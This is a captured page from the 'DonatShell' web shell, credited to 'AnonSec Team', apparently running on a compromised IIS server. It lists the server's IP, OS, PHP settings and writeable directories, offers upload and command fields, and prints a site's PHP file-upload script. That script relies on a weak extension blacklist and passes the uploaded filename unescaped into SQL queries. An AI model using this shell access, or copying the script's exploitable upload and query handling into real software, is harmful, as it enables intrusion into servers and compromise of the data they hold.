DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.25
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/umedia3/login.upload/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/umedia3/login.upload/uploadScript.php
<?
include("../inc/config.inc.php");

	 loginchk_lib();

$now=time();
	
filelogs("uploadlog",print_r($_FILES,true));
if ($_REQUEST['uploadDir']) {
  $edit=barcodeval_get("TMP-ftcontent-$useradminid-mid");
 		

	 
	 if ($edit=="") {
	 	 		filelogs("no edit");
	 		die("no edit");
	 }

		$uploaddir ="$dcrs/_fulltext/";
		@mkdir("$uploaddir", 0777);
		
		$uploaddir ="$dcrs/_fulltext/$edit/";
		@mkdir("$uploaddir", 0777);
		
		//$uploaddir=str_replace('//','/',$uploaddir);
		
		$purename=iconvth($_FILES['Filedata']['name']);
		//$purename2=floor(strpos(".",$purename));
    $ext=explode('.',$purename);
	$purename2=$ext[0];
	//	echo "[$purename2]";die;
    $ext=$ext[count($ext)-1];
    $ext=strtolower($ext);
		if ($ext=="php" || $ext=="php3" || $ext=="phps" || $ext=="exe") {
			 die("extension not allowed");
		}
		///$newname=date("Ymd_His")."_".($_FILES['Filedata']['name']);
		$purename2=trim(str_remspecialsign($purename2));
		if ($purename2!=urlencode($purename2) || $purename2=="" || file_exists($uploaddir .$purename2.'.'.$ext)) {
			$purename2=randid();
		}
		$newname=$purename2.".".$ext;
		$uploadfile = $uploaddir . $newname;
	 	filelogs("uploadlog","$uploaddir-$edit-$purename-$newname");		
		
		


		if (move_uploaded_file($_FILES['Filedata']['tmp_name'], $uploadfile)) {
			//print "ÍѾâËÅ´ä¿ÅìàÃÕºÃéÍÂ. ";
				$ext=explode('.',$uploadfile);
				$ext=$ext[count($ext)-1];
				$ext=strtolower($ext);
				$imgext=explode(',',barcodeval_get("sysconfig-o-imageextension"));
				if (in_array($ext,$imgext)) {
					$thumbpath="$uploadfile.thumb.jpg";
					$origpath="$uploadfile.orig.jpg";
					copy($uploadfile,$thumbpath);
					copy($uploadfile,$origpath);
					//echo "copy($picurl,$picturl);";
					fso_image_fixsize($thumbpath,$ext,barcodeval_get("sysconfig-o-imagethumbsize"),100);
					///////////start get exif
					$exifdata="";
					if (function_exists("exif_read_data")) {
						$exif = exif_read_data($uploadfile, 0, true);
						foreach ($exif as $key => $section) {
							foreach ($section as $name => $val) {
								$exifdata.= "$key.$name: $val\n";
							}
						}
					}
					$exifdata=addslashes($exifdata);
					$exifdata=base64_encode($exifdata);
					///////////end get exif
					fso_image_fixsize($uploadfile,$ext,barcodeval_get("sysconfig-o-maxautoimgsize"));
					$normalimgsize = getimagesize($uploadfile);
					$normalimgsize = $normalimgsize[0];

					fso_image_fixsize($origpath,$ext,barcodeval_get("sysconfig-o-origimgsize"),100);
					$origimgsize = getimagesize($origpath);
					$origimgsize = $origimgsize[0];
					//echo "[$origimgsize..$normalimgsize]";
					if ($origimgsize<=$normalimgsize) { 
						//if orig to save <= size of normal use , so delete it
						unlink($origpath);
					}
				}
				$ordr=tmq(" select * from media_ftitems  where mid='$edit'  order by ordr desc");
				$ordr=tmq_fetch_array($ordr);
				$ordr=floor($ordr[ordr]);
				$ordr=$ordr+1;
			tmq("insert into media_ftitems  set ordr='$ordr',mid='$edit' , filename ='".$newname."',fttype='',text='$purename' ,uploadtype='upload',exifdata='$exifdata'");

			$lastadd=tmq_insert_id();


} else {
			
		}
		
		tmq("insert into media_edittrace set 
		login='$useradminid',
		dt='$now',
		bibid='$edit',
		edittype='upload fulltext name=$purename'		");

		
		index_indexft($edit);
		index_reindex($edit);

	//$uploadDir = $_REQUEST['uploadDir'];
	//$uploadFile = $uploadDir . $_FILES['Filedata']['name'];
	///move_uploaded_file($_FILES['Filedata']['tmp_name'], $uploadFile);
	//printr($_POST);
	if ($redirback=="yes") {
		//die;
		redir("mediabasic.upload.php?mid=$edit&fname=".urlencode($purename)."&uploadtarg=$newname&lastadd=$lastadd");
	}
} else {
	filelogs("upload ft no uploadDir");
}

if ($_REQUEST['action'] == 'getMaxFilesize') {
	echo "&maxFilesize=".ini_get('upload_max_filesize');
}
?>

Anon7 - 2022
AnonSec Team